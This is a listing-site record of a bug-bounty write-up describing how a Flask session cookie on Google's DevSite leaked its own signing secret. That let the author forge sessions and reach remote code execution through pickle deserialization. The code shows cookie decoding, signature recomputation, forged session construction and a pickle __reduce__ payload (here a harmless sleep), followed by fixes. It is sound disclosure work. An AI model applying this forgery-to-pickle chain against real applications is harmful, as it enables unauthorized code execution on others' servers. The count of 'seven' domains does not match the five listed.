{"article":{"slug":"how-i-found-a-90-000-remote-code-execution-vulnerability-in-google","title":"How I Found a $90,000 Remote Code Execution Vulnerability in Google","subtitle":null,"summary":"Simon Koeck explains how a Flask session cookie on developers.google.com carried the secret used to sign it, letting him forge sessions and chain that into remote code execution across seven Google DevSite domains, a bug Google rewarded with $90,000.","content_type":"blog_post","language":"en","canonical_url":"https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce","author":{"name":"Simon Koeck","url":"https://simonkoeck.com/","person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"Simon Koeck","url":"https://simonkoeck.com/","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Web Development","slug":"web-development","url":"https://listedarticles.com/topics/web-development"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":915,"reading_minutes":4,"published_at":"2026-10-12T00:00:00.000Z","added_at":"2026-10-12T17:24:00.532Z","updated_at":"2026-10-12T17:24:00.532Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":false},"profile_url":"https://listedarticles.com/articles/how-i-found-a-90-000-remote-code-execution-vulnerability-in-google","markdown_url":"https://listedarticles.com/articles/how-i-found-a-90-000-remote-code-execution-vulnerability-in-google.md","example":false,"citation":"Simon Koeck, Simon Koeck. \"How I Found a $90,000 Remote Code Execution Vulnerability in Google.\" 12 Oct 2026. https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce"},"body_markdown":"A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.\n\n## How I found it\n\nI was mapping the OAuth flow that Google’s developer docs sites all share. You hit `/oauth2authorize`, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:\n\n```\ncurl -s -D headers.txt -o /dev/null \\\n  'https://developers.google.com/oauth2authorize?return_url=%2F'\n```\nThe cookie is what caught my eye. Flask’s usual three-part `session=<payload>.<timestamp>.<signature>`, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.\n\nFlask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:\n\n```\nimport base64\nimport json\nimport pickletools\nimport zlib\npayload, timestamp, signature = cookie.rsplit(\".\", 2)\ndef b64decode(value):\n    return base64.urlsafe_b64decode(value + \"=\" * (-len(value) % 4))\ncompressed = payload.startswith(\".\")\nraw = b64decode(payload[1:] if compressed else payload)\nsession = json.loads(zlib.decompress(raw) if compressed else raw)\n```\nThat gave me:\n\n```\n{\n  \"_permanent\": true,\n  \"google_oauth2_csrf_token\": \"...\",\n  \"google_oauth2_flow_<csrf>\": {\n    \" b\": \"...\"\n  }\n}\n```\nThe `\" b\"` key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and `pickletools.dis` printed an `oauth2client.client.OAuth2WebServerFlow` object with its fields:\n\n```\nclient_id     = \"<redacted>.apps.googleusercontent.com\"\nclient_secret = b\"<redacted>\"\n```\nThe cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth `client_id` and `client_secret` in plaintext. (The secret is redacted here; it was still live at the time of writing.)\n\nI tried the client secret as the Flask `SECRET_KEY`, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.\n\n## One secret, two jobs\n\nA client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.\n\nFlask signs through `itsdangerous` with the `cookie-session` key derivation, so I recomputed the signature offline:\n\n```\nimport hmac\nderived_key = hmac.digest(client_secret, b\"cookie-session\", \"sha1\")\nexpected = hmac.digest(\n    derived_key,\n    f\"{payload}.{timestamp}\".encode(),\n    \"sha1\",\n)\n```\n`expected` came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.\n\n## From forged cookie to code execution\n\nThe callback reads the flow back out of the session and unpickles it:\n\n```\nsession cookie\n  -> verify Flask signature\n  -> read google_oauth2_flow_<csrf>\n  -> base64-decode the bytes\n  -> pickle.loads(...)\n```\nThat `pickle.loads` is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:\n\n```\nsession = {\n    \"_permanent\": True,\n    \"google_oauth2_csrf_token\": \"attacker-chosen\",\n    \"google_oauth2_flow_attacker-chosen\": {\n        \" b\": base64.b64encode(attacker_blob).decode()\n    },\n}\n```\nThe `state` parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to `pickle.loads`.\n\nIf you haven’t played with pickle before: the `REDUCE` opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.\n\nI wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to `time.sleep(N)`:\n\n```\nclass Sleep:\n    def __init__(self, seconds):\n        self.seconds = seconds\n    def __reduce__(self):\n        return (time.sleep, (self.seconds,))\n```\nSame forged session every time, only the number changed:\n\n```\ntime.sleep(0) -> 0.207 s\ntime.sleep(3) -> 3.193 s\ntime.sleep(5) -> 5.194 s\ntime.sleep(8) -> 8.283 s\n```\nThe response time tracked the number in the pickle, which only happens if the server imported `time` and actually called `sleep(N)`.\n\nThen the controls, to rule out a slow endpoint or jitter:\n\n- No cookie: `Invalid request` .\n- One flipped byte in the signature: `Invalid request` .\n- Valid signature, no flow entry: `Invalid request state` .\n- Valid signature with the real flow: reached Google’s token exchange and failed later with `invalid_grant` on my fake auth code.\n- Valid signature with the sleep payload: delayed by exactly the number I picked.\n\n## How far it went\n\nThis isn’t a single app, it’s the shared DevSite platform, so the key from `developers.google.com` signed valid sessions on:\n\n- `firebase.google.com`\n- `developer.android.com`\n- `source.android.com`\n- `docs.partner.android.com`\n\n## Fixing it\n\nFour things had to change, and they stack:\n\n1. Rotate both exposed OAuth client secrets and kill every session signed with them.\n2. Give each deployment its own high-entropy Flask `SECRET_KEY` from a server-side store, with nothing to do with an OAuth credential.\n3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.\n4. Drop `pickle` for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.\n\nAny one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.\n\n## Timeline\n\n1.    Report submitted\n2.    Triaged\n3.    Accepted\n4.    Reward decided: $90,000 Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.\n5.    Fixed\n\nThanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.","body_html":"<p>A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.</p>\n<h2 id=\"how-i-found-it\">How I found it</h2>\n<p>I was mapping the OAuth flow that Google’s developer docs sites all share. You hit <code>/oauth2authorize</code>, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:</p>\n<pre><code>curl -s -D headers.txt -o /dev/null \\\n  &#39;https://developers.google.com/oauth2authorize?return_url=%2F&#39;</code></pre>\n<p>The cookie is what caught my eye. Flask’s usual three-part <code>session=&lt;payload&gt;.&lt;timestamp&gt;.&lt;signature&gt;</code>, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.</p>\n<p>Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:</p>\n<pre><code>import base64\nimport json\nimport pickletools\nimport zlib\npayload, timestamp, signature = cookie.rsplit(&quot;.&quot;, 2)\ndef b64decode(value):\n    return base64.urlsafe_b64decode(value + &quot;=&quot; * (-len(value) % 4))\ncompressed = payload.startswith(&quot;.&quot;)\nraw = b64decode(payload[1:] if compressed else payload)\nsession = json.loads(zlib.decompress(raw) if compressed else raw)</code></pre>\n<p>That gave me:</p>\n<pre><code>{\n  &quot;_permanent&quot;: true,\n  &quot;google_oauth2_csrf_token&quot;: &quot;...&quot;,\n  &quot;google_oauth2_flow_&lt;csrf&gt;&quot;: {\n    &quot; b&quot;: &quot;...&quot;\n  }\n}</code></pre>\n<p>The <code>&quot; b&quot;</code> key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and <code>pickletools.dis</code> printed an <code>oauth2client.client.OAuth2WebServerFlow</code> object with its fields:</p>\n<pre><code>client_id     = &quot;&lt;redacted&gt;.apps.googleusercontent.com&quot;\nclient_secret = b&quot;&lt;redacted&gt;&quot;</code></pre>\n<p>The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth <code>client_id</code> and <code>client_secret</code> in plaintext. (The secret is redacted here; it was still live at the time of writing.)</p>\n<p>I tried the client secret as the Flask <code>SECRET_KEY</code>, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.</p>\n<h2 id=\"one-secret-two-jobs\">One secret, two jobs</h2>\n<p>A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.</p>\n<p>Flask signs through <code>itsdangerous</code> with the <code>cookie-session</code> key derivation, so I recomputed the signature offline:</p>\n<pre><code>import hmac\nderived_key = hmac.digest(client_secret, b&quot;cookie-session&quot;, &quot;sha1&quot;)\nexpected = hmac.digest(\n    derived_key,\n    f&quot;{payload}.{timestamp}&quot;.encode(),\n    &quot;sha1&quot;,\n)</code></pre>\n<p><code>expected</code> came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.</p>\n<h2 id=\"from-forged-cookie-to-code-execution\">From forged cookie to code execution</h2>\n<p>The callback reads the flow back out of the session and unpickles it:</p>\n<pre><code>session cookie\n  -&gt; verify Flask signature\n  -&gt; read google_oauth2_flow_&lt;csrf&gt;\n  -&gt; base64-decode the bytes\n  -&gt; pickle.loads(...)</code></pre>\n<p>That <code>pickle.loads</code> is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:</p>\n<pre><code>session = {\n    &quot;_permanent&quot;: True,\n    &quot;google_oauth2_csrf_token&quot;: &quot;attacker-chosen&quot;,\n    &quot;google_oauth2_flow_attacker-chosen&quot;: {\n        &quot; b&quot;: base64.b64encode(attacker_blob).decode()\n    },\n}</code></pre>\n<p>The <code>state</code> parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to <code>pickle.loads</code>.</p>\n<p>If you haven’t played with pickle before: the <code>REDUCE</code> opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.</p>\n<p>I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to <code>time.sleep(N)</code>:</p>\n<pre><code>class Sleep:\n    def __init__(self, seconds):\n        self.seconds = seconds\n    def __reduce__(self):\n        return (time.sleep, (self.seconds,))</code></pre>\n<p>Same forged session every time, only the number changed:</p>\n<pre><code>time.sleep(0) -&gt; 0.207 s\ntime.sleep(3) -&gt; 3.193 s\ntime.sleep(5) -&gt; 5.194 s\ntime.sleep(8) -&gt; 8.283 s</code></pre>\n<p>The response time tracked the number in the pickle, which only happens if the server imported <code>time</code> and actually called <code>sleep(N)</code>.</p>\n<p>Then the controls, to rule out a slow endpoint or jitter:</p>\n<ul><li>No cookie: <code>Invalid request</code> .</li><li>One flipped byte in the signature: <code>Invalid request</code> .</li><li>Valid signature, no flow entry: <code>Invalid request state</code> .</li><li>Valid signature with the real flow: reached Google’s token exchange and failed later with <code>invalid_grant</code> on my fake auth code.</li><li>Valid signature with the sleep payload: delayed by exactly the number I picked.</li></ul>\n<h2 id=\"how-far-it-went\">How far it went</h2>\n<p>This isn’t a single app, it’s the shared DevSite platform, so the key from <code>developers.google.com</code> signed valid sessions on:</p>\n<ul><li><code>firebase.google.com</code></li><li><code>developer.android.com</code></li><li><code>source.android.com</code></li><li><code>docs.partner.android.com</code></li></ul>\n<h2 id=\"fixing-it\">Fixing it</h2>\n<p>Four things had to change, and they stack:</p>\n<ol><li>Rotate both exposed OAuth client secrets and kill every session signed with them.</li><li>Give each deployment its own high-entropy Flask <code>SECRET_KEY</code> from a server-side store, with nothing to do with an OAuth credential.</li><li>Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.</li><li>Drop <code>pickle</code> for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.</li></ol>\n<p>Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.</p>\n<h2 id=\"timeline\">Timeline</h2>\n<ol><li>Report submitted</li><li>Triaged</li><li>Accepted</li><li>Reward decided: $90,000 Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.</li><li>Fixed</li></ol>\n<p>Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.</p>","headings":[{"level":2,"text":"How I found it","id":"how-i-found-it"},{"level":2,"text":"One secret, two jobs","id":"one-secret-two-jobs"},{"level":2,"text":"From forged cookie to code execution","id":"from-forged-cookie-to-code-execution"},{"level":2,"text":"How far it went","id":"how-far-it-went"},{"level":2,"text":"Fixing it","id":"fixing-it"},{"level":2,"text":"Timeline","id":"timeline"}]}}